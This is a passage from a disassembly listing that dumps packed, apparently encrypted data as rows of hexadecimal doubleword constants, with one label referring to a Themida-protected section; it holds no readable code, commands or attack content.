		dd 0D0AD733Eh, 78006B87h, 3E5D48F5h, 9F75B0A5h,	660BA470h
		dd 49AB83BFh, 9B6882C9h, 0CE3245C5h, 876A4F40h,	0CF143639h
		dd 6524A2FFh, 2DE51C01h, 52AD7210h, 0C794E925h,	0E9C83F83h
		dd 0F3C6A65Eh, 0F9EB9B58h, 86E532C6h, 0EB8F122Bh, 6C01046Eh
		dd 43AA2A48h, 85DCE672h, 6088D425h, 4DA50DFEh, 0AD6D7300h
		dd 8BA8D650h, 59640157h, 0DD38F480h, 5FD9E4BFh,	7D9E1A97h
		dd 12206A84h, 0F679702h, 0FF5150h, 4A26063h, 7612F0DFh
		dd 0D1EA1EB5h, 6A2E4DBDh, 0E64EA4CAh, 3D0FE0D8h, 2FD3A7Eh
		dd 0E2643312h, 1FE43B72h, 978185F8h, 65AB2B3Fh,	890BAD3Ah
		dd 3BE273F5h, 13BD9509h, 0C97BCD5Dh, 0D0348138h, 0B7E653h
		dd 277B3A09h, 7C9B86h, 0B1D94547h, 0CC43ACADh, 7D02F0E6h
		dd 6A5B72C2h, 0DCA15EFFh, 9FA79303h, 0BA80B484h, 91D48515h
		dd 0B50906BDh, 1CF604A9h, 0D83F4BF4h, 2388260Bh, 0EA94ABDh
		dd 0EDCC29D0h, 0FE0B067h, 0C80C8D22h, 39A6060Ch, 8892D525h
		dd 1968ED87h, 0F6E71955h, 41706016h, 44FFC695h,	4700A710h
		dd 1D651C46h, 1168880h,	87E0C55Ah, 2A78688Eh, 11C4D8F8h
		dd 85C14B16h, 0F75271BDh, 48119E0h, 0F92F32D3h,	4914BC11h
		dd 0D2049231h, 2B0417BDh, 0CD1782C8h, 0EBD12885h, 1AE94531h
		dd 32C06239h, 0EC8B5FA3h, 81428800h, 483733B6h,	5164010Fh
		dd 0D3809115h, 8551705Ch, 0AF260124h, 788A494Eh, 12DC903Ah
		dd 0F429A143h, 64BF8934h, 0D88B252Ah, 100C3CE9h, 9952E9F8h
		dd 33AD8D92h, 3BA27A2Dh, 538E0F14h, 560B0C64h, 4549088h
		dd 631970CAh, 883FBC5Fh, 0E9C1AF26h, 36BF002Fh,	79120AB8h
		dd 131A583h, 0A99D29FEh, 41443D2Ch, 0ECF49270h,	510931F6h
		dd 533DE42Bh, 0F7013B2Ch, 3B460708h, 82802F6Ch,	715B589Dh
		dd 12DFD601h, 89A6B170h, 7DA23D20h, 0EF6A4AD4h,	0AD5A266Eh
		dd 0DCCA82A7h, 1D8B8203h, 9795D01h, 40606D4Bh, 45622B78h
		dd 9D46F600h, 8A8FE7F4h, 833091DEh, 245E66A5h, 0D7F128D0h
		dd 9B40809h, 496AFCB1h,	1FCD863h, 816B95Bh, 0E57A447Ah
		dd 0DF921D2Ah, 0CE6C70F1h, 0B092BD93h, 3BDB8130h, 6A171232h
		dd 0E74DF6FCh, 2CB8EC14h, 8512A594h, 7845F22Eh,	714329B7h
		dd 96EEA49h, 35B1195h, 0E9636D0h, 631F339Eh, 4D99D62h
		dd 55C9495Eh, 0C9B599B0h, 201012E7h, 26CAFA38h,	518E6E0Eh
		dd 1D70609Fh, 2534743Dh, 4AED398Ah, 0CB601664h,	0A19054CCh
		dd 45CA3D4Bh, 4BF56650h, 0D343CA71h, 0ECE0D730h, 98AEE8Fh
		dd 9C3717FCh, 33E90902h, 44DE1C57h, 0DAAAF85Eh,	0A9BD77h
		dd 0CD79EC8Ah, 0DD043B30h, 58EF80B0h, 89C126BCh, 6A0565B5h
		dd 6A4E61B3h, 58F14E86h, 2BC0E3F9h, 0CA7A4BF5h,	26232235h
		dd 69940160h, 0B0A2E65Fh, 0DCD20EFFh, 0F2326118h, 5C1C8949h
		dd 0F906F699h, 0EE2D55Eh, 4B2CF068h, 214ACA59h,	0A58504B4h
		dd 9D23411Ch, 0C96A1A21h, 80DB6092h, 0FC95DB4Bh, 8B8B2A9h
		dd 4A839258h, 4B4A7DD8h, 41F392C7h, 95D38429h, 0ACF9FD57h
		dd 0D9028C19h, 0A357C31h
		dd 4E907701h, 0C804EF22h, 51B75B66h, 832F29E0h,	0C99D09C8h
		dd 68E21D4Ah, 0A1E7A6D2h, 0B3206457h, 801640FDh, 40A7CB2Dh
		dd 0B692E814h, 0DD8A0937h, 0BA3D525Ch, 122613B3h, 0ED4E7EFCh
		dd 0C8C8BDD0h, 0D20EFC6Ah, 8C00BB40h, 48169868h, 47779E3Eh
		dd 2751E0AEh, 8400BF0Ch, 7D37CE54h, 0E641430Fh,	3A45B58Ah
		dd 61B05F92h, 57151367h, 825CDB3Eh, 57B531A0h, 2BF52C69h
		dd 0F98B2131h, 0FB0F652Fh, 27E99AC8h, 9E7C0208h, 0E9801CF4h
		dd 2E01442Ch, 0AD20BB1Fh, 2566570Dh, 30E6CF38h,	71BD2909h
		dd 0DEF15623h, 0DB021846h, 0F35C0CF6h, 0C625DE74h, 9564B523h
		dd 0CA3D8300h, 38156E4Fh, 0F5600594h, 0AA615E53h, 0A004AA99h
		dd 891718EDh, 11E20406h, 10A31401h, 0FFE52621h,	0FA3F106Bh
		dd 7086BA81h, 0F2892585h, 8044377Fh, 0CE15AC5Fh, 4D4BD8A6h
		dd 8006ACF0h, 8CA16096h, 53B9CCCAh, 5061B00Fh, 3FBA6056h
		dd 57257DFh, 0AF1A2B8h,	96870B32h, 6A237C61h, 0EFA4ACA2h
		dd 80290A23h, 2F534D5h,	4A9752ECh, 76C17503h, 0B54ECBFBh
		dd 1E4D62C8h, 0C3CC3B11h, 8B771464h, 897AB780h,	100C15A1h
		dd 0A7F4DDh, 0CD27C866h
		db 1Eh
byte_511491	db 0AAh, 0FFh, 8Ah	; DATA XREF: Themida_:005677E8o
		dd 5B589225h, 3EF17036h, 2FF990A0h, 4BEA3B97h, 90814B18h
		dd 0C06FE9DEh, 0A7CDA63Dh, 12DB90A9h, 885AF08Bh, 9C003260h
		dd 5F4BB8C0h, 162BBAA3h, 0EC9F5524h, 5A36D4CFh,	4173D9A2h
		dd 9B206A5Fh, 4C7A6Bh, 7B1FBB8Bh, 922FB26Ah, 40B8EF16h
		dd 0B313EAADh, 0F66153B9h, 0CEF9E04Dh, 26302702h, 8D859E60h
		dd 36DD084Bh, 139F7030h, 0AA209659h, 0B081E538h, 0B8A0125Eh
		dd 8D3AE208h, 19602731h, 44E92751h, 0D18024BDh,	0E1E63042h
		dd 9E87600Fh, 5111E0CFh, 7603C795h, 39D4E0B6h, 2BDC201Bh
		dd 0EB83F04Dh, 0A0940A2h, 7942CFF7h, 4BB6472Eh,	0F4407Eh
		dd 5626025Ch, 4C13B1E7h, 95FCC697h, 0FA85A5E4h,	0F4697B9Ah
		dd 9C950594h, 1DF5F328h, 10D69D0Bh, 0B9B5ACACh,	0F46BA9CEh
		dd 9505E9B3h, 8C25A4AAh, 74B477ABh, 34EF1717h, 4398AA3Dh
		dd 0ED854D9Dh, 5D96F813h, 0AD102756h, 2E01CFECh, 0BF66A07Dh
		dd 117067CBh, 26B125BDh, 0F6949B4Eh, 0B6EE8144h, 0C11B00CDh
		dd 0DC72675h, 891716F4h, 25C3E98Dh, 0B003E65Bh,	0CA1A2961h
		dd 60862466h, 3C1F263Dh, 40026EE0h, 0EAC15688h,	54DD50Fh
		dd 0FB601765h, 4A136B20h, 0DA4A886Eh, 0B97DD101h, 0BAA6D074h
		dd 0B72ACCCDh, 20FE233Bh, 143D258Dh, 0BF01F959h, 0CF99430h
		dd 6FC6122Eh, 0E0C20000h, 476F9EDAh, 0DC6950DEh, 30640ADh
		dd 1D01BD12h, 0EDD71BB9h, 5FE6B874h, 1054FCDBh,	0F65C2541h
		dd 0E3C06912h, 95165AFDh, 0FDD157BFh, 0A8BC89h,	4551F4B7h
		dd 1698F1E3h, 22050948h, 0DAA5A029h, 0CEB995C7h, 4BA538A9h
		dd 1AACD5FDh, 7D31C8Ch,	9046C55Dh, 49A8A811h, 96E60032h
		dd 12D789BBh, 4B8D907Bh, 291B81DEh, 29DCCB9Dh, 0D4C49141h
		dd 0DA8E752Eh, 0D83B82EFh, 995748Bh, 955512C9h,	775B2547h
		dd 60CC50h, 0F732D8B5h,	0DF81FF87h, 0CB92280Bh,	946E0078h
		dd 557C79Eh, 62BF5350h,	0EAEE8456h, 3D9B4A95h, 31748BC0h
		dd 2C52B595h, 6B04D39Fh, 0B9B84B53h, 0B18D09C1h, 102B3A1Ah
		dd 378F7A83h, 0A03DC0FDh, 0D279D31h, 0B956C82Bh, 0A2379726h
		dd 0A6801C91h, 7923C2D4h, 0C5CC8A09h, 449E7162h, 3EAC5354h
		dd 2D79B5D2h, 1D3FE84Ch, 0C96C8F29h, 0F6FCC6FDh, 93B33FF4h
		dd 7BF53D87h, 0B86B6448h, 86ECB59Ah, 0F0E9B162h, 0B72F9A5Ch
		dd 603F00C9h, 0DF2D2BFh, 8D856D50h, 95611340h, 5A40F26Fh
		dd 2B4EF9Eh, 1E293C96h,	0E8C6E4EEh, 74A5DA27h, 0ADF5924Dh
		dd 3FFFD7F9h, 109B2DF5h, 7C2355Bh, 0F5600CFAh, 0AF75B540h
		dd 4563E1Eh, 0F92589ADh, 4AD0725Bh, 0E4CB05F0h,	0AED98A3Fh
		dd 2B8D484h, 0D529BA92h, 0C168DE85h, 8539DEE4h,	71FA6701h
		dd 6F57530Ch, 0D8AFAB1Ch, 2B0641AAh, 0B70FDC00h, 0DBB50FEh
		dd 759EFC5Ch, 2B6E6FFBh, 0EADE5600h, 0BF74DA96h, 0C99B7D04h
		dd 9BAE6A5Eh, 2BB4C2A2h, 0B8105F4Eh, 0AA0E97B2h, 0BAF561AEh
		dd 0C15BED54h, 30B445D8h, 2F418D2Fh, 4E01BDD8h,	0B374FA02h
		dd 0BDD58CBBh, 7944855Fh, 0BF400588h, 11131E22h, 5A4553BDh
		dd 0E000C04Eh, 0BF52570Bh, 50C6280Ah, 5FFFDD02h, 9A17DBD1h
		dd 51CD56ECh, 34FE1484h, 0FD9AC17Ah, 5DA37A24h,	0B2AC8C4Dh
		dd 0A1206A4Eh, 8AF631h,	9B0FC5D3h, 51605077h, 32EF5A4Eh
		dd 0A977F131h, 5A98DFBEh, 0E82EB756h, 0D752215Bh, 1F008035h
		dd 63270E6Ah, 0F13A4865h, 0E5D0C42Fh, 25195D20h, 0C5C7B3E9h
		dd 0C17208h, 95F29BBh, 8D39314Bh, 20E7DA61h, 904FB05Eh
		dd 50F98A07h, 576B21B3h, 0FA0BE6B7h, 1271A060h,	548D2335h
		dd 9761DF71h, 6DF67A0Bh, 46712FFCh, 0C29C2A50h,	23655B69h
		dd 2EF9595Dh, 18237B6Bh, 0E1913100h, 48A17C0h, 0FFF6AFDh
		dd 0DF178C8Ch, 72BF33B8h, 0DCB7BE48h, 6D82D70Fh, 256AC0E6h
		dd 97EDB8F2h, 80FE4D31h, 0F0816031h, 4FE383ABh,	2ECA0854h
		dd 9B0610Eh, 3E70FCh, 0E71AF781h, 858971E4h, 6404912Dh
		dd 0B9CA254Eh, 16D14AC9h, 1E71254Ch, 1794AC4h, 73321D25h
		dd 83F2C5Ch, 0C1961871h, 0B52542AAh, 81183211h,	22C57EDBh
		dd 0ACCC3193h, 90D13928h, 0A1C49D79h, 61D157A3h, 0AFB26EE9h
		dd 0E4C12C8Fh, 2F1EA8F3h, 1A3D5681h, 0B5952900h, 0C0929F96h
		dd 0D523F692h, 21142245h, 74B385A1h, 708C19AEh,	9E9C2F51h
		dd 838400CCh, 8C1043Ch,	0E50123CEh, 21DE8FABh, 0A82AF65Ch
		dd 0FB489942h, 0D42FDE21h, 21CABFC4h, 71BD2B0Bh, 0A5506B7Ah
		dd 0AEC4FE1Eh, 0AC1019D1h, 18896C41h, 565C0125h, 5D3AAC50h
		dd 7E8F6E4h, 50F0A906h,	98422933h, 69C16521h, 0FACDD42Bh
		dd 96AC7EB2h, 0A334DB16h, 31804EBCh, 0DF7060E1h, 0A288CC09h
		dd 38C2549Ch, 80CA5F40h, 74AF9319h, 0A859383Dh,	0FB062DE8h
		dd 45950176h, 55CB82DFh, 7F804DB7h, 11C49959h, 87D39DFCh
		dd 70457870h, 89532D94h, 5B44A856h, 8D311B8h, 0BA1406F8h
		dd 7156240Bh, 12127508h, 0B45FB95Fh, 31C6C6DAh,	65207848h
		dd 435B9726h, 0D211D92h, 5CDAA9BDh, 0BF66C01Eh,	8B25FB5Bh
		dd 0D6A4D6DEh, 60091646h, 0FD5A274Bh, 4B4BDB5h,	0AA3606B6h
		dd 8FBF5AD0h, 2535257Dh, 0B6B20C5h, 0F88199AEh,	3F2E8AE5h
		dd 4FD4708h, 1CFE5FFh, 7D80E4ECh, 0FE183B4Dh, 0BCB76000h
		dd 6B4BC4ABh, 95D204DCh, 0B89705A5h, 2F5DA251h,	63F272h
		dd 0DD9E18DBh, 0EF94A75h, 0D28985BCh, 72482402h, 4F902E46h
		dd 5625AD25h, 0B55F5A03h, 589800B5h, 0CA6533CCh, 7EAA0702h
		dd 5531524Ch, 92B0C3E4h, 0F381E107h, 2861D313h,	292E35B7h
		dd 0CD29E650h, 98DC047h, 48098C18h, 7DB6DE4Ah, 3578D290h
		dd 0C7421E00h, 0FE49B0A9h, 50D30227h, 0D97E01DCh, 7BD5C241h
		dd 282B9FB5h, 0A28A527Ah, 7D1341BFh, 867B219Ch,	0BC7AC3D5h
		dd 0B82225F5h, 595E8977h, 0CA89AF75h, 0F7E67358h, 4E91534Bh
		dd 9E6E0140h, 8BD78118h, 5AF0FFE4h, 587F743Bh, 0E0C2B960h
		dd 0C55F86D9h, 0C2402F11h, 3309BB61h, 0D5603443h, 58408015h
		dd 576E9AAh, 0E17062ACh, 25A1BC71h, 9577CE25h, 2075D082h
		dd 0B053E657h, 1CE9206Ah, 9EC9504Ah, 0D44FBB69h, 0ADB1D4A9h
		dd 6EAE4E9Ch, 699901E1h, 53572E89h, 0C1282671h,	42A95C4h
		dd 4EC1685Bh, 32E7043h,	5C4F764Bh, 0E034B6BDh, 5DFB7C9h
		dd 0EFB6954Dh, 9774ABF5h, 1FA0D1E6h, 100845Ah, 269DD856h
		dd 2D8D317Fh, 545406EDh, 623276EBh, 775027E9h, 48C5034Bh
		dd 235E6FAAh, 6F090216h, 905F53F8h, 38C6871Ch, 178F1103h
		dd 8CC042F2h, 5B406CB5h, 0EA4C51B5h, 0B9003A0Fh, 6C70BF60h
		dd 5B95747Ch, 0D4C8AE0Ah, 18C1F400h, 52EFCCD4h,	0B4C02848h
		dd 112925F6h, 851072C4h, 98401051h, 9F0D9AD5h, 0D35A1EFBh
		dd 0A78B0006h, 0C08EAF87h, 33AABA09h, 40C4D657h, 0B3075985h
		dd 16F88400h, 4676F38Ah, 0C223001Dh, 5F2737A8h,	2009C381h
		dd 707C11B9h, 0D2B79D91h, 0A4658D00h, 976390Eh,	6CB7907Ch
		dd 41253BE1h, 161D7Ch, 1606BB50h, 0AD107F70h, 2DBD1C91h
		dd 0B789CE65h, 8C593489h, 0CDAE5145h, 0C65FDD94h, 0CB60C2D6h
		dd 0A1F1EE8h, 46C478A4h, 52B73095h, 103BB60h, 6177FFE5h
		dd 0CCAFEC5Fh, 45006704h, 0C496ECB9h, 2D14BB66h, 4D7B5FA8h
		dd 0C04DCD2Fh, 349BBE9Ah, 289E0495h, 0D489922h,	0FB97858Dh
		dd 0D0AFF04Dh, 49636B00h, 90B7027Fh, 0F1F0D650h, 65B66A67h
		dd 5CE00A6Ch, 212D86Bh,	5490FE7Bh, 0E909DC70h, 573C6F4Dh
		dd 62A117B5h, 0F9D8F280h
		dd 4D9C992h, 0FC8AD22Dh, 0E0C8E661h, 25D9E49Dh,	0B2C51572h
		dd 5DB58982h, 0B2C4932Dh, 0F29C551Ch, 0FD332969h, 0CD7D3F62h
		dd 9F2FE0B6h, 64BF29F5h, 4553954Ah, 8018115Fh, 4CE6E584h
		dd 0A94D97D7h, 0F50195C0h, 566A0437h, 0B8D88A73h, 2BFFA2C6h
		dd 2953E2D0h, 27ECCCE0h, 3EE80BBBh, 38552B2Ah, 971CC197h
		dd 4D959D16h, 0B08F4095h, 3C02D8BFh, 49EC7A0Bh,	60375CD2h
		dd 0FE19589h, 53973A97h, 4F667062h, 142B4A09h, 2038D00Ch
		dd 800904B9h, 0E450FEDFh, 14D33856h, 23C6A789h,	0BBDA18D5h
		dd 887626EDh, 0ABF893C5h, 1823096Bh, 84417B02h,	0F8AE6166h
		dd 0C8E2DA6Ah, 0F341CE18h, 2E2E2F5Eh, 2014DC62h, 21D3A6EBh
		dd 983BF00h, 5F940A66h,	456B0072h, 0D8A2EC65h, 6CB527C9h
		dd 8CDA4BD6h, 6905B3B8h, 86D8D01h, 69892DEBh, 0BFE8A829h
		dd 0DA17EF6Eh, 6FBEC283h, 0C91A167Bh, 0F7B08852h, 85032560h
		dd 0B532EF44h, 5C61DDCDh, 476DE9D6h, 30DC5140h,	85C1BDF0h
		dd 7EB72A26h, 520BB4Ah,	4B9AC780h, 0F4B8A66Ah, 0C747A4EEh
		dd 0E304384Ah, 0CDB9AA1Bh, 2906F5C4h, 1A71822Fh, 21EA9604h
		dd 0C0BC5EDEh, 0B0076EEh, 544F9084h, 7265EBh, 0BFC079C9h
		dd 830FD828h, 0D09FD1ACh, 2B960428h, 0AE0209BDh, 14237C6Fh
		dd 0A3E01317h, 73BF882Dh, 61BA8762h, 303AD719h,	1AC3845Dh
		dd 47E2CCB8h, 95B50920h, 17D1B713h, 0D4A6B30Bh,	49C6691Ah
		dd 0F3B7F198h, 0A35B52D4h, 3A846505h, 0A92687C0h, 7DC9A0E1h
		dd 3592A525h, 0ABF584ECh, 6A7F702Dh, 8EA807F2h,	0E6707EABh
		dd 581BF42h, 0B7E8DDF7h, 492AAF3Ch, 8595B280h, 3110CD48h
		dd 0B9C511BDh, 0A052A701h, 2D4356BAh, 6354BD89h, 30F85FD2h
		dd 94EB7B5h, 1ADD7CEDh,	8BFA051Ah, 0BF5BF820h, 0EA5F025Dh
		dd 0D0B75615h, 0B5DD94D5h, 53FD035h, 86EDCB37h,	80964CA8h
		dd 0BD0A79DEh, 3C179D74h, 0AE0F035Ah, 8BB9B201h, 0C00C9BE5h
		dd 3113E4DFh, 9E17616h,	46E9FB8Bh, 8DF60F78h, 0D17FFEE3h
		dd 42ECF267h, 0A16E2300h, 91F6961Eh, 2511B8F8h,	99731821h
		dd 5E2C2A8h, 66BF0486h,	0A523AA58h, 4A2E38B5h, 0A400AA6Eh
		dd 3BA9904Eh, 2D136FE4h, 8F076298h, 0D5596EC7h,	88008A3Dh
		dd 2B68875Ah, 0BF0E19F2h, 23B5E296h, 88244AD4h,	3B230ABh
		dd 569FFD9Dh, 0D13742B3h, 8A6A0009h, 0E29529B2h, 625B9D14h
		dd 0F58CC2Bh, 1D5E706Ah, 0BCD78130h, 90320E89h,	0A689515Eh
		dd 0F16168E8h, 6D90893Bh, 983EB954h, 9B2775CCh,	52369045h
		dd 0BB91008Bh, 4E9E6B7Dh, 65E8302Ah, 71C6B754h,	7B6AAC2Fh
		dd 3FDD785Ch, 0A97E5116h, 7F4F4D88h, 0F14413E4h, 0F69BEF6Ah
		dd 665B0780h, 0FE1291A4h, 9AAA86BFh, 291D8A5Eh,	800C9A40h
		dd 7D2107E1h, 8940D2C9h, 5940F154h, 180C8B9h, 7EC5204Dh
		dd 0E05396B5h, 0F301A82Eh, 799249ACh, 68D0BBFBh, 5B6225DFh
		dd 0F5043AE6h, 0E7B7D1FFh, 59A2FAB8h, 0F4EA5F12h, 459CDC63h
		dd 0C5AB55B7h, 89DEFAB3h, 0D773B1C9h, 6181C59h,	0D9E8BC00h
		dd 0F8EB093Eh, 0E7E92DA7h, 41705554h, 26F881D1h, 0EEB6F091h
		dd 3DB4250Ch, 7BEB055Ch, 0BB10506Bh, 0DCB9F902h, 0E352907Ah
		dd 0F802C882h, 126E7985h, 0E633EF80h, 3014E2E0h, 0E409BFB9h
		dd 5517A3ECh, 571224Eh,	0DC292E85h, 393C3658h, 6A771383h
		dd 32CF4F0Fh, 0A7E82EB9h, 9570F604h, 0CDAB567Bh, 0A1F32AAFh
		dd 8A7C5F25h, 5324254Bh, 1FD5F2C1h, 0C8F3A23Ah,	0C4FAB721h
		dd 1B22AE30h, 691A5E80h, 70E6ECB0h, 0D99D2916h,	3FBF2FC0h
		dd 2528E63Dh, 84C471E4h, 4D44CF01h, 477B9A1Ch, 0E8E0482Eh
		dd 0BAFC04A7h, 5358DEB8h, 0E6313512h, 0C7F14CDEh, 97B04928h
		dd 968F9DEh, 47F5913Dh,	8504235Ch, 0BF351235h, 3DA0A38Ch
		dd 3B000E49h, 0CD23B671h, 997D442h, 404E7EF9h, 6DEED9B8h
		dd 0F4673A00h, 402B2601h, 0F6E101AFh, 0CAA718FAh, 0B0B2FC1h
		dd 24AD61D1h, 4880E901h, 8508593h, 0DF16816Eh, 0CF049244h
		dd 0F9B817BDh, 88D71C98h, 0EF04D874h, 4C061CC9h, 2E5261Ch
		dd 9023396h, 1595045Eh,	3FF71E2Ah, 0DB2F35AEh, 3E0880D8h
		dd 66C6C02Ah, 0FF8D8B1Ah, 6625503h, 945523E2h, 0CC57671Ch
		dd 4B5CAB89h, 0FE031D48h, 687D9D31h, 1F6F483Dh,	6A53E0Bh
		dd 0BF08F7C5h, 0FB602751h, 7125BD01h, 0C0D1CE05h, 7ADDDBCAh
		dd 107041B9h, 7861D39Dh, 2A0215F0h, 0DCAF4555h,	9C3FEB6h
		dd 0A273201Dh, 7DBB527h, 4007A9A4h, 0C9B589EEh,	0BFBB2360h
		dd 62FC03A5h, 6E820C50h, 0B3608B5Ch, 9D22B6Dh, 23EDBD0Bh
		dd 0BFD89856h, 49A413C6h, 0E0FCF64Ah, 189F59Bh,	0D454BAE2h
		dd 2E8A69A8h, 6EAA7724h, 5A92096Eh, 5A8F7379h, 927F9F3Ah
		dd 407DF44Eh, 0ABF4E17Dh, 5F12DC00h, 254BCE60h,	97C8EA09h
		dd 9DBFA418h, 654AF97Bh, 23BBC6ACh, 5F702716h, 6339E3FCh
		dd 0F3E89E0h, 9825E48Ah, 6A9495A3h, 0BDFDF482h,	91502FA8h
		dd 0B873A91h, 6E80F2DCh, 38DFDB8Fh, 41802981h, 0A16FA8AAh
		dd 8048E8CDh, 1A6FD32Eh, 0D205463Eh, 0BF8A4048h, 0D735C092h
		dd 0D8778842h, 0CF5395F0h, 73181759h, 0B56DAB05h, 0FDF25160h
		dd 29F05800h, 6CC3CD0Ah, 43761600h, 0BF017F5Eh,	7CA40023h
		dd 87C48059h, 0E14CFF61h, 0FD54E46h, 0C45AD0B8h, 0A3C5AC5Dh
		dd 6FA05A6Ch, 0DC300058h, 0DFE9A5E1h, 0FD76C94Fh, 75B1D76Bh
		dd 69A37A32h, 40694C8Dh, 675C5AFCh, 74B11497h, 21FB9704h
		dd 0E45F7E27h, 1325F8B0h, 8FFE1BB1h, 6572D60Ah,	7810D593h
		dd 700624Dh, 0A3692372h, 3EF5385Ch, 0BA102208h,	11CD1135h
		dd 58C0350h, 80221F14h,	0C1DBFCE1h, 5B45390Fh, 4C1BE82Eh
		dd 9EDCC0A7h, 3F27F79h,	97FFED7Ah, 0B9CC7D11h, 562425F6h
		dd 4B02F69Eh, 7646D1B5h, 89407551h, 62B55F5Bh, 0B06D7F78h
		dd 95601A65h, 77885E62h, 12080494h, 0EE1C870Fh,	0B7BB8EDCh
		dd 44AF2B79h, 4C30793h,	0B0C17A5Eh, 0E0DB6259h,	8D123198h
		dd 6FAB23B9h, 31423DFh,	0D88B90CAh, 71B360B0h, 7F9B615Ah
		dd 59A70CCh, 61A6E099h,	13BDA27h, 575D9D68h, 2E79B33Ch
		dd 3C8EFC10h, 48A6CF48h, 70FAF1E1h, 59958DDFh, 24744A93h
		dd 0D8652508h, 695BD04h, 424A1449h, 2D58C4DDh, 3D545F53h
		dd 5CFBB7C2h, 60D068ABh, 0B07DBEA4h, 35693D02h,	5C9617D5h
		dd 0BAD3E1BAh, 36986B2Ah, 46C082FBh, 722457E6h,	99CA342Dh
		dd 0DC6703Bh, 20B60446h, 519D1669h, 81309EA8h, 979A1092h
		dd 4C6F6CC2h, 0B5E3C07Ch, 7125759h, 2C608DB8h, 148657D5h
		dd 0CB33B8B4h, 4062768Bh, 4DBC1D68h, 1633E15Ch,	31BCF614h
		dd 0D147E200h, 4EE4BB1Eh, 8D6D9409h, 0E1BF7785h, 0DD1F8D00h
		dd 9D744D0Ch, 0A5803B71h, 9FBE3693h, 1187B55h, 76A2BB66h
		dd 2A53505Fh, 75F890C2h, 7AE4841h, 0F30A90D5h, 50929BD1h
		dd 253877F0h, 0CB6D5B0Ch, 63601764h, 2BD9735h, 554DBD97h
		dd 0A6209F4Dh, 0CFC414Bh, 245A32F3h, 0FBBC54E9h, 462CE5FCh
		dd 2711E7C2h, 2120EF4Bh, 8A7D8D01h, 0C975AE54h,	9C11907h
		dd 3BD041D3h, 0A1B0002h, 0D1481937h, 56C5EF63h,	38AB145Dh
		dd 9586648Fh, 8602F6B5h, 0D80121BDh, 0F514568Bh, 0B778B793h
		dd 0F3F00322h, 56185AF0h, 84E072D2h, 156DBF05h,	15C43DD0h
		dd 4A8AAFB4h, 7AF9DDD8h, 19B0B2B6h, 9E4D5D68h, 958D2077h
		dd 0F3545412h, 0D48BDCE9h, 0F6704101h, 0BD21A1FBh, 0D70D0278h
		dd 7ECE35FFh, 5502E98Ah
		dd 70B1B2ECh, 95345D7h,	94F69FB4h, 1701A740h, 704800E2h
		dd 5E2BE477h, 20EEF81h,	603CD95Fh, 0EC94BB96h, 504A26F9h
		dd 59D05EFh, 9DFBF21Eh,	7F31D58Bh, 79877F96h, 5C01CAE0h
		dd 8D0D0A56h, 0C2A80B63h, 60F6810Fh, 0B7D22840h, 0EE9A956Ah
		dd 9D92061h, 0AFF2242Ah, 0AEA073CAh, 0F7E8DEA1h, 702A0E00h
		dd 725CBBB9h, 0C2604A08h, 0EADF50EEh, 70C67B55h, 0BD243363h
		dd 0A5A8ACCDh, 4221C49Dh, 0D1F05086h, 0CCB61B4Ah, 0AA301AF2h
		dd 0E0DD046Bh, 0E8A8A96Fh, 0F98A4A86h, 34FE8A16h, 0B7A0EBAEh
		dd 32593D56h, 0A284FFBEh, 0AE757FF2h, 0ABF7C5F6h, 5E7EBB02h
		dd 502F45D5h, 783D7F3Fh, 8FBB8919h, 9551036Eh, 85D91D23h
		dd 27CE25E5h, 60A7315Ch, 3EBF50FDh, 0BC52E62h, 0E304BC2Dh
		dd 0DB67A7F9h, 0C9F4914Dh, 0AA04F0B6h, 83ED5F53h, 54601D64h
		dd 8800130Dh, 8EDDC133h, 72290C86h, 82591BDh, 0F8920187h
		dd 21882CE2h, 5025B385h, 0FD801DB8h, 8F60A666h,	80FE3D3Fh
		dd 6EF1214Dh, 0A9902867h, 7D34568Ch, 0A8A04ED8h, 7BAE4A6Dh
		dd 925900A4h, 0D5B7BF69h, 9D4A4BCFh, 686A3F23h,	48E1007Fh
		dd 0E9A78D09h, 70B786C9h, 0F7B8C230h, 384DB585h, 126018C4h
		dd 9F2521B3h, 5AFEDA9Eh, 979CB329h, 0BB9251DAh,	2B445C8h
		dd 608137E2h, 66578C0Fh, 78890BE1h, 185EB523h, 3BE26192h
		dd 2EFC5688h, 12B29237h, 0AAC68455h, 16C8079Ah,	15E12CC1h
		dd 0B731C62Ah, 1177F2B7h, 0A012A99Dh, 127FDB81h, 131CE59Dh
		dd 8D13FF57h, 0F2D167FFh, 59D511A1h, 0E8D4F218h, 9B5E07C0h
		dd 0E88E5B94h, 551B2D92h, 4C2FF437h, 5F390B7Bh,	0B8FC8041h
		dd 50D2C285h, 0D8BA63BBh, 0B9C1EDF4h, 0BD448C2Fh, 1637FC95h
		dd 0C24FDB6Ah, 0FC69D463h, 0AD958561h, 0E029171Ch, 27FCF0F7h
		dd 0F5A78CA1h, 0A0A777E4h, 24F85F9Ah, 1F0AB0ABh, 8854EDB1h
		dd 0C4CB96D4h, 2AC50460h, 9498900Bh, 0C400D39Bh, 431613B3h
		dd 5C002BEh, 29EBE82Eh,	9B91AB63h, 93D01DDh, 0C0A17DBCh
		dd 2A152525h, 0C482FB9Eh, 4141929Ch, 4B6072D1h,	50DC6FBBh
		dd 2D4AA5AEh, 186F19E7h, 0C55BADBDh, 0A5C7808Fh, 0EA6FD1FFh
		dd 41726D02h, 795F0EDDh, 95858474h, 40871604h, 69CD5F9h
		dd 0EF97C970h, 34C940B9h, 8C053109h, 579E7BB3h,	5B7FC0FEh
		dd 0D25B529h, 0A11C7116h, 0E7C7F86Fh, 30102818h, 811119C6h
		dd 0ADE36A50h, 0DC6EE400h, 0EA353C7h, 0AFC87E00h, 0AB1BE959h
		dd 80310FB5h, 0B326160h, 0BF55F7B1h, 0AF85059Dh, 0AEA29Ch
		dd 252EE7EDh, 0B8368CBEh, 7B174504h, 0B2F13520h, 8F190084h
		dd 50A616DCh, 96F4FBA9h, 0D11C720Fh, 0B25FAB4Fh, 9C65695h
		dd 7071CDE9h, 57E0B1C2h, 6178BEFBh, 0F89A0403h,	0BABF7F5Ch
		dd 0B7847EDBh, 0A694BE41h, 0F6957540h, 8D0816h,	46032DB0h
		dd 0E3D7C2C0h, 0DCA9CB01h, 2FB7CF28h, 0F6AB752Eh, 0FED8A013h
		dd 708C1D20h, 0F6F2C26Bh, 0EAD990D5h, 3321FF03h, 3C2EC028h
		dd 64E80981h, 1D002A88h, 9061CF8Ah, 0FFBA3297h,	0A871F50Bh
		dd 5F1E0D09h, 5125C7E5h, 0C1FC2D15h, 0C0C594D6h, 3EB516EDh
		dd 8D7E4D02h, 60FF6AD6h, 0EB5A248Bh, 9D295DF5h,	9D3D9D1Ah
